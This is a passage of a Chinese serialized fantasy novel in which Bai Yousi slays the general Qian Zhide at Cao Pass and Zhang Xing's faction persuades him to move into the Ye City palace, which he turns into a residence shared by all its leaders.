果然,白有思根本不是回头来对这风、这真气与这钱支德的,其人拂过已经擦面的长生真气,继续翻转身体,翻转的角度也不是平地转圈,而是斜侧向上,随着其人在空中翻转,手中长剑也随着主人的躯干、肢体、衣袖,在半空中斜侧着画出了一个圆。 具体来说,是在空中与那名凝丹副将体内画出一个圆。 圆形完成的那一刻,那名副将整个人被从肩膀到腰间斜劈成两节,整个身体仿佛是被轻易划开的丝绸一般,轻松裂开,只有血浆在两者之间稍有粘连,宛若线丝崩断。 而紧接着,不待倒地,尸体的两段复又如破布一般被后方卷来的长生真气吹起,落入半空中。 同样被真气扑到的还有白有思,她整个人也被真气卷起,明显失控,却是在半空中才勉强施展真气定身,然后回头去看钱支德,还是之前那副骇人模样,身上和嘴角则多了明显血迹。 身上的是溅污,嘴角是被真气扑打导致的内伤吐血所致。 然而,明明算是出乎意料的得手,钱支德却反而如丧肝胆……他不是为一个副将可惜,或者说不是完全为了自家副将身死而如此,他守关这么多年,遭遇了那么多名将豪杰,手下的军官士卒更是**不知道几茬,他当然会惋惜,却绝不会因为这些事情而动摇甚至失态。 钱支德现在的动摇失态,本质上只有一个原因,那就是白有思此时展示的决心和状态,已经超出了他的想象。 **对方能做什么,又会做什么。 局势很可能在极短时间内完全失控,转变成他难以想象的情形。 事情也果真如此。 白有思只在空中看了钱支德一眼,便再度俯冲,杀向了军阵右侧。 钱支德心惊胆颤,匆匆追上,还是落后一步,奋力一击,也不能阻止对方再下**……如此再来两回,白有思便将三枚箭头人物杀掉,整个军阵也瞬间萎缩到了钱支德身侧。 钱支德此时已经完全后悔出关夜袭了。 而白有思依然不停,却是继续围绕着钱支德做定点拔出,杀了三个凝丹,复又去杀奇经,这次更是一剑一个,钱支德此时想再趁机去伤她也都难……连杀了十几个,钱支德正在失魂落魄之时,忽然间,小营两侧偏后,陡然火起,继而喊杀声也起,眼瞅着两股兵马自左右两方田野中奔袭包抄而来,更有明显的光点滑过,其中不乏高手。 钱支德终于如坠冰窟——最后的指望也没了。 此时可退吗? 当战吗? 要拼命吗? 还是努力逃回关吗? 这位老将军并没有犹豫,事到如今,不可退,只能战,而且只有拼命一战,才能一丝可能搏得生机,尽量挽救一些下属。 心中所念,不过瞬息,却似乎还是慢了半拍,这边刚要寻敌,却先察觉到一股劲风自侧面袭来,赶紧躲闪,只在侧过脸颊时窥见一道寒光堪堪贴着自己飞过,回过神来,便意识到面颊被刺破出血,再去看来寒光去处,愈发心惊——原来,那白娘子杀到现在,已经全身浴血,此时立在自己前方,依旧面无表情,唯独杀意不可抑制。 钱支德目光从对方面无表情的脸上转向对方全是血水的身上,最后落到那似乎没有半点真气附着的长剑上,忍不住摸了一把自己刚刚被刺破的脸颊,舔了一口自己的血水,然后神色复杂,缓缓摇头: “白娘子,老夫这张老脸来做磨剑石,可还有些功效?” 白有思依旧面无表情,却终于缓缓开口:“承蒙钱老将军盛意,然老将军不死,何谈磨砺?” 说完,也不鼓动真气,也不跃起,只是挺剑迎面快步而来。 而钱支德呼出一口气来,抬起国主御赐的刀,横平于侧肋旁,随着这个动作,身前原本破碎的真气城楼也瞬间补全,而且凝实了不少。 这时,白有思也逼到看似庞大真气城楼之前,长剑飞起,宛若削木劈竹,便将对方内丹外显之物给层层剥开。 钱支德微微眯眼,忽然跃起抽刀,奋尽平生力气与真气储存,朝着对方肩颈处劈杀过去。 横刀挥过,真气并不宏大,却层层叠叠,宛若龙鳞,且隐隐有龙吟。 白有思头也不抬,只是猛地加速,箭步蹿过两尺,让过刀尖,然后抬剑架住刀身,身体一旋,剑尖一拐,一压,一荡,便将刀身荡开,然后便顺势回手一刺。 就刺入对方胸腔之内。 这一幕,就好像没有修为的人靠力量和技巧作战一般,但实际上,所有的一切都发生在钱支德内丹外显的真气城楼内。 甚至钱支德的刀锋还有异象。 可就是被白有思给一步步毫无花哨的给破了。 钱支德看着胸口的长剑,强压住伤口,看了看自己周边正在坍塌的真气城楼忍不住来问身前之人:“你刚刚在我城门楼内舞剑时是什么感觉?” “如在水中。”白有思平静做答。 “原来如此,原来如此,我做不到。”钱支德点点头,胸口积攒的真气似乎要散掉,一只手还想去摸伤口处的剑身。 也就是左手摸到剑身之时,其人忽然怒目圆睁,全身真气大作,尚在握刀右手则再度发力,往对方肋下去刺。 白有思持剑欲退,却不料被钱支德抓住剑身,居然稍滞,以至于被对方横刀刺入左臂内侧,直达骨骼。 白三娘见状大怒,不退反进,受伤左手抬起,反过来夹住对方右臂,右手长剑复又刺回对方胸膛,然后便奋力一搅。 钱支德再不能忍受,跌跌撞撞后坐于地,手掌虽然捂住伤口,却还是不能阻止体内长生真气疯狂涌出,而那真气是如此浓郁,以至于身体周遭野草居然在夜间疯长。 钱支德面色惨白,看到这一幕,倒似乎释然:“不想老夫虽死,残气也能沃东胜国之草,如此何惜?” 说完,便干脆放开手掌,任由真气漏出。 白有思则根本不管这些,只复上前去,一剑毙命,一剑割首。 转过身来,则变回了原来那张生动面孔,护体真气也回来了,长剑也被辉光重新包裹,再飞起来时,更是重新展现出了那只威凤,一时纵横于大局已定的战场。 只不过,不知道是不是错觉,那只威凤似乎变大了一圈。 就这样,等到了天亮的时候,草关也随之告破。 与此同时,西进队伍闻得白三娘斩杀宗师,黜龙帮一方的自然振奋,而随行的逃人与俘虏则整肃一时。 因为所有人都在这一夜后不再怀疑,这位白娘子能将他们带回中原。最起码从武力角度而言,只要那位大都督不反悔,谁能当这只威凤?! “他们是这般说的?”草关西面出口处,胳膊上缠着白布的白有思回过头来,似笑非笑。 “不止是这般说的,也是这般想的,我就这般想的。”王振昂首挺胸,却又有些遗憾。“我是真没想到,两翼夹击没到之前,白总管你就已经把钱支德杀了……白总管你在凝丹时杀凝丹就这般简单,如今成了宗师杀宗师竟也这般轻易连三个副将也全都杀了,未曾与我们留一个……这三个副将,是不是就是这草关三个方向的守将?” “必然如此。”白有思平静做答,却又望西摇了摇头。“必然如此!” “必然如此,白总管如何摇头?”王振似乎察觉到什么。 “必然如此是说三个副将的事情你说的对,摇头是因为杀宗师哪来这般容易?”白有思轻声提醒。“杀了一个钱支德就受了这般伤,还是他自家出了这草关露了破绽,接下来,咱们得长个心眼,先发制人,不能再兵来将挡水来土掩了。” 王振恍然,不再计较对方的怪异:“不错,再往西走,便是东夷人对着大魏设置的层层防线了,虽是对着西面的,可照样是阻碍;杀了钱支德更是不晓得东夷人态度……如此局面,恰如穷寇入巷,就不能想着巷子通不通了,什么都要撂出来。” 这个比方很符合王振,而白有思这次也只是点头,倒不显得怪异了。 就在白有思大展神威斩杀宗师之后,夏秋之际的一股温热南风再度启程,它们自南向北,自东向西,滚滚而来,势不可挡,所过之处,田野俱皆金黄。 却是毫无疑问的进入到了秋收时节。 说来也怪,前几年乱世刚刚开启时,就有频繁的小规模天灾,包括黜龙帮在内都吃了不少苦头,甚至成为之前一轮巨大动荡的起因。那时候有识之士就都觉得,这么下去,再加上往后几年天下动荡,兵灾不断,必然会导致出现人力难以挽回,也让所有人难以承受的真正灾荒。 但是,得益于多种有利因素,比如大魏那些仓储被广泛且及时释放,比如几乎所有大势力都在仲夏之后保持了某种表面上的和睦,又比如是几家大势力都能娴熟的接手和使用地方官府,总之,随着这一次满野金黄,却似乎是又给续上了。 打马其中,沃野千里,农夫农妇们又忙忙碌碌,见到成队骑士只是在道中稍微避让,甚至隐隐有了几分太平盛世的感觉。 “还是仗打的节制。”白马城外的官道上,单通海一边前行一边给出自己的看法。“谯郡今年收成就不行,听人说淮南也不行……” “武阳郡和汲郡收成也不行。”张行在黄骠马上接口道。“春末补种了许多杂粮,但还是抵不上正经的豆粟。” 单通海点点头,顿了一下道:“等到入冬,我尽量从济阴这里送些新粮给谯郡那里,全吃碎成渣的陈粮,军心民心都要沮丧……” “我觉得可行,你跟陈总管做商量便是。”张行明显赞同。 孰料,单通海闻言反而皱眉:“张首席,我之前便想问,难道事事都是陈总管来管吗?便是这几位文书、参谋和准备将,若不是出了李枢的事情,怕是都也离了你直接去邺城了吧?也是要归陈总管吗?” 这就是公开抱怨了,而跟在后面也是被提及的虞常南、封常二人一个面无表情,一个若有所思。 “本该如此。”张行则明显更轻松一些。“大魏朝别的不说,有些制度还是不错的,南衙制度还是好的,该陈总管辛苦一些。” “那你这位首席做什么?” “我能做的还是颇多的。” “愿闻其详。”白马城就在眼前,单通海还是紧追不舍。“总不能只是一直在田野村社中打转吧?” “肯定不能一直这样,虽然田野村社多看看也很重要。”张行有一答一。“市场、城镇也应该看,官府军营也要……看这些东西,不是要做什么大事,而是要发现问题,然后解决问题,就好像你以前待在军营里,甚至更早与道上兄弟同吃同住是一个道理,只不过做了首席,待的地方就该多一些。” 单通海恍然,是真恍然。 “至于其余的事情也不少。”张行继续介绍。“比如大行台内与地方行台核心成员的人事安排,比如军事行动和外交行动的决断,还比如调解行台与行台之间矛盾,头领与头领之间私怨,最后免不了要继续整饬部队,精研战力……” “若是做到这般,自然可行。”单通海忽然勒马,似乎是不想让城门前迎接的人听到下面的谈话。“可是,如果陈总管……我是打个比方,如陈总管这种直接抓总处理具体事情的人……也负责中下层人事,对不对?” “对。” “那他肆意为之,欺上瞒下如何?”单通海认真来问。 不少人心中一跳,便是封常也偷偷去看张行侧脸,但让他失望的是,这位张首席丝毫没有生气或者其他情绪流露,只是停下马耐心解释: “所以要亲自去田野村社,市井城镇,军营署衙中去。 “可看的总是不全。”单通海似乎是在抬杠,又似乎是真的想知道法子。 “那就让下面填个表格嘛。”张行忽然笑道。 “若要看表格可就真没完了。”单通海愈发皱眉,他对表格其实并不不陌生。 “看特定的表格。”张行脱口而对。“首先是人口,有多少人口,分多少户口,可参军的壮男多少,可在家操持家业的壮女劳动力多少,老弱多少,可筑基的少年多少,修行者有多少,什么修为;然后是田亩,哪里是狭乡,哪里是宽乡,哪里授田妥当,哪里不妥当,有没有多报,有没有少报;还有军队的数量……这你是行家;官吏的数量,都什么等级;还有财税田赋,以及吃公家粮的人占了多少钱、多少粮,多少地,剩下的在哪里存储;还有牛马牲口铁器军备的状态与数量……掌握这十来个表格,时不时查验一下真假,核对一下,对上什么都不虚。” 单通海微微发愣,好像是又恍然了,但又似乎有些茫然。 张行倒是保持了耐心,立马等在那里。 片刻后,单通海似乎是意识到暂时难以消化这些,便将这些按下,继续来问:“那要是陈总管跋扈专权呢?” 张行依然没有多余表情,只是继续解释:“以陈总管的身份,他做什么事算专权呢?想来想去,无外乎是开战出兵?但莫说他,便是我要决定出兵,要不要先告诉你们,然后通知下各营?实际上,这次回河北,我已经决定了,趁机设立虎符制度,任何一队甲士调度,都要经虎符剖书核验……” 单通海终于急了:“若是这般,敌军来袭,如何应对?” 张行笑而不语。 倒是封常等的久了,在后面捻须来做解释:“单龙头想多了,若是要调度龙头你这里,自然应该是徐总管处或者是首席亲自发符;但若只是一队甲士的调度,一营郎将即可;而一营兵马调度,可能就要复杂些,首席以下,包括龙头与特定大头领所领正将,应该都可以调度。” 单通海听了一半就晓得自己闹了笑话,连连点头:“有制度是好的……可军队都被锁在各处,平素日常使用该如何?” “巡骑营、军法营、府署衙役官吏,不在其中。”张行随口对道。 单通海想了一想,再三点头。 这时,之前打前站入城的秦宝,眼瞅着张行一行人卡在门外数百步的距离不动,到底是担心张行安危,为以防万一还是亲自打马来迎。 而他这么一动,城外迎接的东郡太守周为式等人也都纷纷跟上。 张行见状,就收起跋扈那个问题的答案,勒马走上前去。单通海当然也晓得这白马城里还有些关键,不敢怠慢之余便匆匆追上,随行的行台头领们也都赶紧跟上。 人太多了,几名文书远远落在后 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白有思是黜龙帮登州总管,而且这次被卷入东夷的还有另外五个营兵力、数位头领,外加一支船队,无论是公还是私,都没有反对的理由。 事情自然就定了下来。 全程都没有提李枢,哪怕这厮高达三十两纹银的悬赏已经挂到了白马城各处。 而散场之后,众人各自去休息、忙碌,这其中,单通海立即让几位头领引路,亲自去拜见了城内的几位长辈自然也是题中应有之义。 张行却没有着急拜会长辈们,恰恰相反,他在鼓动其他人做不孝之举。 “你们俩去邺城,让婶娘留在这里。”张行坐在小院的树荫下,端着可能是今年最后一碗酸梅汤如是建议。 “哪里有不亲自奉养老母的道理?”秦宝明显不安。 “当然有。”张行开始……循循善诱。“你想想,你母亲跟着你去邺城,你每次出兵是不是都会担惊受怕?” 秦宝立即咽了口口水。 不是被这句话给吓到,而是他陡然意识到,这场谈话的结果已经定了……自家这位三哥总是能让自己心甘情愿的采取他得方案……这种事情不是第一回了,只是突然回来,不免有些让他措手不及。 “而她留在这里,跟丁老夫人、霍总管这些人住在一起,反而无忧无虑……你想想,人生难得知己,她们都是一样的出身,之前东齐官宦遗留,又在大魏这几十年受了许多苦,年纪也相当,如何能不快活,非要带她去河北受罪?”张三果然不负秦二所望。“更不要说,到了河北,除了担心你之外,还有一个**烦,就是你姑父一家……” 秦宝更加无话可说了。 “罗术这个作为,不是说没有可能投降,然后做个头领安稳下去,但不得好死的可能却更大。”张行喝了一口酸梅汤,最终给出了不可辩驳的理由。“咱们稍作休整,接着要做的便是扫荡河北,我估计跟薛常雄动手的时候你姑父就要掺和进来了……” 秦宝只能点头。 也就是这时,旁边厨房的门帘被打开,已经是少妇打扮的月娘冲了出来,将一碗炸面团摆在张行身前,然后一声不吭又风风火火冲了回去。 张行放下今年最后一杯酸梅汤,吃上了今年最新一碗油炸面团。 秦宝在旁,一声都没有吭。 这一日,本该这般轻易划过,结果,到了晚间的时候,两个消息突然前后脚传来: 第一个消息不算什么正事,就是东都那里,随着鱼皆罗的正式回归,早就酝酿了许久的司马正终于拥立了新的大魏皇帝。 叫什么,没人关心,只知道是曹彻的一个孙子。 相对应的,司马正正式承袭睿国公,加元帅,立大行台,总督东都、近畿、中原十三郡军政。 算是拿到了那个名正言顺的牌子。 除此之外,据说还封了张行做齐王,都督东境、淮北、淮南二十七郡,封了白横秋做英王,都督晋地、关中、河北三十六郡,封了萧辉做梁王,都督巴蜀、荆襄三十一郡。 这就是个单纯恶心人的**表演了。 而另一件事,虽然没有多么出乎意料,却也算是一件正经大事——白横秋忍耐了大半个夏天,就在所有人都以为他是粮食不足,又无法在巫族人眼皮子底下从晋地运粮,准备等待秋后再开战时,就在关中秋收前一刻,他忽然出兵了。 最新的消息是在渭北双方发生大战,战况不明。 事情都是顺理成章的事情,张行根本毫不在意,只能说知道有这回事了,不过他也知道,这两件事情对于普通人而言还是会非常震撼。 但是,即便是他也不会想到,这两件事会跟已经完结的李枢事情产生某种化学反应,继而使帮内气氛变得进一步微妙起来。 不过这些暂且不提,翌日,吃饱喝足的张行浑不在意,只让就在此地安心等了起来,准备熬过秋收最麻烦几日,免得给上上下下添麻烦。 结果,待了两日,虞常南等人早早过河了,却又发现单通海居然也有样学样留在了白马……考虑到这本就是人家的直属领地,倒也不好说什么。 唯独他明显察觉到,这几日河南河北的信使也多了起来,其中不乏来找自己的,却多是表忠心的,好像李枢之事现在他们才消化完一般。 其中稍微有些现实意义的也不过是贾务根拿父子一起掌兵不合适为理由主动要求转任地方之类的。 张亮人在南边,也没法问,似乎也没必要问。 而又过了几日,最繁忙的秋收线明显卷过了大河一线,张行便也决定动身去自己还没怎么落脚的邺城走一遭。 然后,等在这里的单通海提出主动随行。 张行这个时候已经察觉到对方眼神中的古怪……似乎是有些期待,却又有些不情不愿的表露……这个时候张三已经猜到了点什么,只是此时阻止已经难了,不如当面迎上再做辨析。 于是,张行也改了带月娘一起成行的计划,只带着秦宝和几骑与单通海轻装渡河,迅速抵达邺城,然后惊讶发现,自己并没有打这里一个措手不及……实际上,不止是陈斌、徐世英、王叔勇以及大行台的上上下下,也不只是魏玄定所领的本地行台头领们,李定、窦立德、柴孝和竟也到了。 就连雄天王和伍大郎,居然也从荥阳那边渡河先到了。 乌压压一群人来到邺城南面棚下相迎,刚刚收获的耕地里也站了许多人,也就是差了最远的牛达、程知理跟养伤的小周。 张行这个时候反而没有什么多余的想法——劝进也好,围杀也罢,就在眼前了。 “你们要做什么?”这个时候,再装糊涂也显得不合时宜,张行干脆点破。“莫非真要我受了司马正封赏做什么齐王不成?” 资历最老的魏玄定今日换了一件新衣,闻言上前一步,微微拱手笑道:“我们知道首席不计较这些虚名,但李枢此贼既走,帮内却该团结一致起来,免得其余诸侯还以为我们出了乱子。” 张行便要摆手驳斥。 而精神抖擞的陈斌也上前一步拱手:“首席,我们素来晓得你志向,也没有让你称孤道寡的意思,但最起码要做出样子,定下名分和制度,也好与关西、东都对抗,不落下风。” 张行这次方才稍缓,认真来问:“你们准备如何做?” “其一,建立制度,所有头领、大头领、龙头家眷,聚居邺城。”窦立德上前,拱手进言。 他肯定不在乎这个。 而这个建议也确实有实效性。 张行想了一想,认真以告:“可行,但不应该太急,等年底再做。” 见到张行点头,许多人都以为事情要这般进行下去,气氛也松快了不少。 于是李定居然也走上前来,装模作样拱手,而不知道是不是错觉,张行总觉得他眼角笑意是在嘲讽:“定服色品级。” “这个不用。”张行立即摆手制止。“可以给头领军士官吏们分品级设计衣服,但不用制定全民的等级服色,脱了公服放了假,人人都可以穿紫戴朱,只不许仿造官服印绶罢了。” “张首席说的有理。”李定居然不当众争辩劝说,就这么一点头放下手了,引得许多人朝他来看。 “那无论如何,最后一件事,首席一定要做。”陈斌见状,赶紧出言。 “什么?”张行不由好奇,不是装的,是真好奇。 因为他很难想象在不称孤道寡情况下,如何定下名分? “很简单。”陈斌侧过身子,指向身后邺城某个方向。“请首席搬入邺城行宫。” “哦!”张行恍然,然后立即点头。“好。” 除了封常这些新来的人,这个回复之干脆的让所有人都有些诧异。 没办法,长久以来,张行一直都对这个事情保持了某种看似豁达,实际上是抵制的态度,否则今日肯定是劝进了。 而这般**含义明显的举止,他居然如此轻易答应,甚至让一些人有些失望……却又不好说什么。 实际上,包括单通海、李定在内的失望者,都在心中迅速的说服了自己……这是迟早的,必要的。 但下一刻,张行负着手看着隔着外城墙都依旧显得巍峨壮观的内城,直接发问了:“这宫城挺大吧?五都制度,跟江都宫城比如何?” “差不多。”陈斌脱口而对。 “那我就放心了。”张行点点头,指了指在场众人。“咱们都搬进去……整个大行台和邺城行台都搬进去,不就整饬出一个名分和样子来了吗?外地头领的家眷来了,也都住进去,最起码安全有保障……如何?” 周遭鸦雀无声。 过了几息,秦宝忽然没忍住,直接笑出了声。 PS:感谢盟主老爷布啊霖的上盟!感激不尽! 第四十章归来行(6) 第500章归来行(6) 黜龙帮上下请张行入邺城行宫的戏码能出现,背后自然有着各种缘由。 比如李枢的逃窜,这件事本身意义其实并不大……他在节节失势下实际影响力已经很低了,这一点从他逃走时只带走了一个崔四郎,一直到现在都还没冒头拉杆子就能看得出来。但是,从另一个角度来说,从他离开的那一瞬间,张行在黜龙帮的最后一位直接权力挑战者便消失了。 其人绝对领袖地位就变得无可置疑起来。 而这个时候,巧合的,也是顺理成章的,甚至是人人都有所预料的那样,司马正立了新皇帝,建了大行台,称了元帅。 如此局面,加上江都军变大魏实际上灭亡,白横秋在关中也立了新皇帝称了丞相,萧辉更是早早称孤道寡做了什么“梁公”,也不要管什么主动被动了,黜龙帮内部必须团结一致,将自家的**格调抬起来,才能继续维持**吸引力,确保继续在争雄天下的道路上不落人后。 不过这是表层原因、是契机。 实际上,帮内本就有一股“建制”势力,出身大魏朝堂的降将们、文修们、刀笔吏们、世族出身者们,甚至如早期的徐大郎等心思深沉者们,虽然被动主动接受了帮会这个体制,但也天然对这玩意有些不满和不安,他们本就渴求回归传统的朝堂制度。 好像只有这样,黜龙帮才能真正建功立业。 好像这样以后,黜龙帮就能承袭天命,国祚永延了。 此外,张行本人的嫡系势力也是一个重要且强力的推手,尤其是现在组建了大行台,让这些人有了**和串联的组织依靠……不管是真心觉得张首席该更进一步还是期待着水涨船高,这些人明显是此事的发起者和鼓动者。 当然了,这不代表其他人就反对,这点从雄伯南提前过来、单通海随行隐瞒就可见一斑……甚至,按照陈斌等人的安排,张行例行辞让的话,接下来就是徐大郎过渡一句,最后雄天王来劝的。 只不过,张行根本没给这两位开口机会。 回到眼前,张三郎近乎出奇的应答方式让所有人都猝不及防……几乎所有人都觉得荒唐,但不知道为何,大家又觉得这好像就是张首席一贯做派,他就会干这种事情。 除此之外,也的确有不少人心动了。 大家又不是傻子,其中不少人都读过小说和史书的,如何不晓得这话背后的**承诺? 什么大家一起住行宫,这是张首席要与诸位头领共天下! 便是不晓得具体含义的粗人,也都能察觉到这个气氛……然后跃跃欲试。 相对应的,有心反对的人也一时不大敢反对。 “刘黑榥,大魏的行宫,敢住吗?!”张行见到众人不说话,秦宝又失态笑起来,便拿手指了一名头上插了一根艳丽野鸡毛的头领。…。。 那人一个激灵,也不顾周围人态度,立即耿了脖子,也将头顶的野鸡毛给高高甩起:“首席这般大度,我如何不敢?只怕我自家第一个出头,结果大家又不都愿意住的,岂不显得我不晓事!” “怎么会有人不愿意住呢?”张首席大声笑道。“只是不敢罢了。而你若住进去,大家就都住进去了……到时候,大家只会念你的好!” 话音刚落,刘黑榥便拍起了胸脯,周围也轰然起来……不止是头领,跟来的许多低阶帮众、官吏都在紧张而又急切的议论此事。 而在这之前,张行便已经伸手止住了想要说什么的陈斌。 等了片刻,人声稍定,张三复又点了一人:“李四,你愿意来住吗?” 周围喧哗声立即又止住了,人人竖起耳朵来听。 李定冷笑一声:“你这般大度,我如何要推辞?只是我无子无女,宗族家人也都不在,只有一妻,还日常助我领军,便是分我一处怕也常常空着。” “无妨,总有你一处地方。”张行脱口而对,却又点了第三人。“张世昭张头领,你住进来吗?” 张世昭捻须大笑:“张首席开什么玩笑?我弃了东都至此,不就是想更进一步吗?若来了黜龙帮还住不得行宫,不如回去做南衙相公。” 不少人随之开怀来笑,好像他们离开黜龙帮也能做南衙相公一般。 而张行也终于看向了在场的另一位大人物:“雄天王,大家一起住进去,你觉得如何?” 雄伯南想了一想,认真来答:“我自然觉得极好,怕只怕后来局势再变化,大家还得出来,未免伤了兄弟情分。” 这似乎便是关键了。 张行笑了笑,便要做答。 孰料,当此之时,一直没开口的徐大郎反而扬声驳斥起来:“那就到时候出来便是……若为了将来可能要出来便此时不进去,这天下事还做不做?这就好像取天下一般,谁起事的时候十拿九稳,说天下必是我得?依着我来说,只是今日一起住进去,便已经值当了!” “不错。”张行大加赞赏。“都可以赌上性命来争天下,竟然不敢住一个行宫吗?” 雄伯南等人各自一愣,旋即失笑,单通海更是深深看住徐世英,许久方才挪开目光。 众人再三笑完之后,张行方才来看陈斌。 陈斌无奈苦笑:“首席一意如此,我自然不能阻拦……但首席今日促成此事的手段,却不免失之于术了。” 张行笑意不止:“陈总管也知道我是要一意如此吗?” 陈斌终于叹了口气,不再多言。 事情定下,张行便在众人簇拥下自北门入了邺城,然后便在数十个大小头领数百文武的簇拥下招摇过市、耀武扬威,穿过大街,一起去了位于城西北侧的邺城行宫。 一进去,便先登了个正门门楼。…。。 这个时候,刚刚还在城门外说要共天下的黜龙帮马上就上下尊卑起来了,文书、参谋、准备将们只能在下面站着,龙头、总管们围在首席身旁,其余大小头领只能站在门楼边上,然后才一起眺望这个行宫。 不过,只是看了一眼位于城西北侧的行宫,张行便觉得眼熟,然后失笑来言:“之前陈总管说这邺城行宫跟江都行宫差不多,哪里是差不多,分明是一模一样。” “没办法。”陈斌也苦笑起来。“邺城这里跟江都那里,都是曹彻登基后迁都时趁机恢复五都制度,一起动工修建的,所以都差不多。” 张行点点头,复又惊醒:“原来的邺城呢?东齐故都呢?” “烧了,拆了。”张世昭在一侧扬声来对。“大魏开国那位素来心思重,不止是东齐故都,南陈的江宁,当时都一并拆了、烧了,有钱的、有修为的、有势力的,也被迁走了。” 帮内不少年长的头领都点起头来,不少年轻头领却有些诧异。 张行面上没什么,心中却幽幽一叹,他如何不懂呢? 老早他就察觉到了,曹彻的那个爹真的是两极分化,尤其是晚年的苛刻严酷和登基前的英明神武,形成了鲜明对比,但有些东西,却是一直有迹可循的……只论此事,便是他关陇本位思想极重,而且这种思想也不仅仅是停留在人事任用上的,想想东齐故地跟南陈故地的大小亩就知道了。 与这种持续了一两代人的大面积歧视性苛政相比,烧了邺城跟江宁,似乎也就那样了。 想到这里,张行四下再去看,反而又有些感慨:“若是这般说,邺城跟江宁都只是恢复这十几年,便重新有了如今规制?” 众人颔首不及。 “那邺城果然是河北霸业之根基,恰如江宁是江南之荟萃。”张行有一说一。 “诚然如此。”魏玄定明显也有些心潮澎湃之态。“必然如此,邺城本就是河北天然之首府。” 张行不置可否,复又去看眼前宫殿:“若是跟江都行宫一样的话,那便是西面夹城为仓城?” “反过来的。”陈斌提醒。“东面是仓城,西面是马厩,前面是公房,中间是大殿,后面是后……居住之地。” 张行再三点头,却又迟疑:“西北面是什么?宫城外到漳水那里……” “是旧漳水三台遗址。”魏玄定野再度解答。“昔日东齐宫室外延所在。” “可以修起来。”李定眯起眼睛道。“以作卫城……不用太大,方便起军阵,长久防守即可。” “头领太多,家眷更是没有准数,后面未必住得下。”陈斌微微皱眉道。“仿照西苑扩展为居住区也无妨。” “两个相互不耽误的。”张行认可道。“那边空地极大,西苑也好,卫城也罢,扩展公房与居住区也行,就往那里走就行……但还是那句话,不要着急,今年年前非但不动兵戈,也不动水利之外的任何工程……何头领在吗?”…。。 何稀立在楼梯口,只半个身子在外面,朝空中虚虚拱了下手,倒是老实:“属下在此。” “听说你已经上手工程了?”张行见到此人果然在此,便直接走过去,正色询问。 城门楼上挤满了人,不免显得逼仄,众人见状只好纷纷后退,只挨着墙排了三排。 眼看着那张首席走到楼梯口,何稀无奈,只能拱手:“回禀首席,只是规划了几座学校,刚刚秋收完,还没动工,如今只是医院那边要去瞧瞧。” “那就好。”张行正色道。“我之前一直在河南,怕大家不知道,这里正式的说一下……咱们今年不折腾……只要没人来惹事,咱们就不打仗,大工程也不做,便是人事的任命和调整,还有军队整编,也可以先计划着,然后等到年后再正式发布。” 这个时候,众人虽然想法不一,却意外的没有多余讨论,只是任由张行来说话。 张行眼见如此,便转回何稀:“何分管,你这里先建医院跟学校,休整一下道路,多余计划都押后到年后。” 话到这里,张行便走了回来,而中间经过许多头领,心中微动,有心想在这里挨个谈下去……毕竟,在这种环境下,加上今日的气氛,怕是无论停在谁面前说什么,都没有谁能有反对的余地。 而且,虽然说了大事都要等到年后做,却不代表没事做。 只不过,之前陈斌便嫌弃他用手段推动进程,却也不必如此了。 一念至此,其人回到门楼中间,便直接宣布:“这行宫大家已经一起进来了,就让魏公跟曹总管来替大家做住处上的安排,大家可以跟着去看看,也可以寻地方歇着,去办公做事也行……且放宽心,我在邺城会稍待几日,大家有什么疑难的事情,或者有事情要人背锅,尽管来寻我……而过几日我便要去登州接应白总管他们,到时候还要带走几个营的。” 说着,便挥挥手,催促众人走下去。 下了城门楼,且不说魏玄定和曹夕如何张罗,张行如何弃了正事且与众人说些闲话,只说当日散去,济阴行台——也是目前最大行台的总指挥单通海单龙头便专门寻到了如今在大行台主管军务的总管徐世英。 徐世英早数月来到邺城,自然按照惯例在邺城郡府旁边得了一处小院,却只带了一个本家机灵小子,又雇了个做饭打扫的老寡妇罢了。此时见到单通海来,天又已经黑,便让寡妇煮粥做饭,让那小子去周边头领家跟寻些酒肉来,还让隔壁护卫院中送些他们刚刚从自己这里拿走的秋日瓜果。 单通海自然不在意这些,但见到这一幕也觉得有些古怪,便在堂屋落座后直接发问:“你家中那般资本,来到邺城,便是不在城外置换个庄子,也总能在城内买几个店铺,置几个院子吧?日常供应过来,何至于这般清苦?”…。。 “这有什么清苦的?我一个人整日在郡府忙碌,一个睡觉的地方而已。”徐大郎嘴角似乎一撇,坐下时却也正色起来。“至于店铺……邺城之前一直是大魏朝廷在河北的要害,年初那场大战他们也是目睹的,算是敌我分明,现在我们进来了,以我的身份去买铺子,谁敢不卖?那不是强买强卖了吗?平白毁了黜龙帮的名声。” 单通海沉默了一下,无奈点点头:“这倒是无话可说。” “单大哥找我,总不会是为了这个无话可说吧?”徐大郎不以为意道。 “我是觉得,你怎么突然变了个人似的?”单通海也干脆起来。“之前打仗还不明显,只觉得你话少了,私下联络也少了,今日才猛地察觉,你好像是心思也转变了,所以来瞧瞧……” 徐世英连连点头:“不错,确实变了……我之前一直在意黜龙帮能否成事,张首席能否成事,然后以我私人的前途做最终之考量,然后来行事,不免畏首畏尾,滑头滑脑,同时也喜欢私下勾连,维持实力……但今年之后,尤其是几次生死之间,见张首席谈笑自若,总能靠着勇气和得人来翻转局势,便弃了之前的心思,决定不计成败生死,随他赌一场了。” 坦诚说,单通海问之前是没准备对方回复这么利索的,他甚至都有点不自信,觉得是不是自己错觉,甚至他自己都说不清徐大郎之前是什么样,现在又是什么样,只是模糊感觉而已,以至于现在得到答案,反而有些慌张。 停了半晌,等做饭的妇女端上来两盘洗好的瓜果,单通海方才回过神来,重新来问:“私人前途是怎么说?莫非现在就不顾及私人前途了吗?” “不是这个意思。”徐世英捻起一串秋葡萄,言辞坦诚的可怕。“而是说,我以前未曾将私人的前途与张首席还有黜龙帮捆缚在一起……我素来跟你们不一样,只说咱们兄弟,我比单大哥年轻,比单大哥不要脸,还比单大哥狡猾……单大哥便是对黜龙帮和张首席没什么私人情分,可真有一日黜龙帮覆灭的时候,你恐怕也会一**之,而我到时候怕早就降了,降了之后还能在东都或者关西厮混个前途。” 单通海犹豫了一下:“今年之前,你都还有这个想法?” “都说了,咱们真不一样。”徐大郎吐了葡萄籽后卷着舌头回味道。“不止是单大哥,王五郎也不会想着投降的……只有我,之前一直只是济水一狡贼,虽然做贼的格局越来越大,还是一狡贼。” 单通海叹了口气:“那现在不投降了?” “倒也未必。”徐世英恳切道。“只是在黜龙帮大局倾覆前都能一心一意去做事了……” 